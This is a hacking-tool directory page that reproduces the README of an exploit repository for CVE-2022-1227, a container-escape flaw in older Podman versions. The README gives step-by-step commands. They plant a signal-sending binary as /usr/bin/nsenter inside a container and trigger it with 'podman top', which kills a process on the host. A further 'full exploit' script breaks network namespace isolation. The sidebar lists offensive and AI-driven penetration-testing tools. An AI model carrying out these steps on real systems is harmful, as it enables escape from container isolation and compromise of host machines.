Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-1227_Exploit — A script for exploiting CVE-2022-1227 | Kitploit
Tools/GitHubGitHub/louisliunova/cve-2022-1227_exploit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingContainer Escape
GitHublouisliunova/cve-2022-1227_exploit

CVE-2022-1227_Exploit

A script for exploiting CVE-2022-1227

Share
View Repository
1383 years agoNot yet reviewed

CVE-2022-1227_Exploit

A script for exploiting CVE-2022-1227.

Background

  • Ubuntu 20.10 is recommanded.
  • Podman <4.0.0; 3.4.4 is recommanded.

TODO: add what is the principle of this vulnerability

Install podman

Follow the instruction in the official document: https://podman.io/getting-started/installation#installing-on-linux

For Ubuntu 20.10, the imstall command should be:

sudo apt-get install podman=3.4.4+ds1-1ubuntu1

Quick Start

Simple Exploit

In this section we try a simple PoC to break the bundary of PID namespace and kill a process in the host.

Here are the steps:

  1. Run a container by the following command: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity

  2. Run keep in ./exp/bin and get the PID it is running. Usually it will display its PID on the terminal. As the binary are set to sleep for 600 seconds, maybe you must be quick to finish the follow steps.

    tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
    My process ID is: 7719
    Put this number to `PID` in the sendsig.c and compile!
    
  3. Edit the source code in ./exp/src/sendsig.c and fill in the PID obtained in the previous step in variable pid.

    int pid = OLD_VAL;
    

    to

    int pid = 7719;
    
  4. Put the compiled binary to the internal podman: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter

  5. Run podman top to trigger vulnerability by: podman top -l

  6. If everything goes right, the running process keep will be killed immediately. This is unusual, because normally processes inside the container cannot send signal to processes on the host due to the PID namespace isolation.

    tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
    My process ID is: 7719
    Killed
    

Full exploit

In this section, we use sockets to realize the inter-process socket communication between the client in the container and the server on the host, which is usually impossible when the isolation mechanism is complete. We use this vulnerability to break through the isolation of net namespace to realize this exploit.

First, enter the directory by cd ./exp;

By simply running ./exploit.sh, everything will be done automatically; if everything goes right, the server will display:

Hello from the container!

It means we go across the network namespace and escape.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →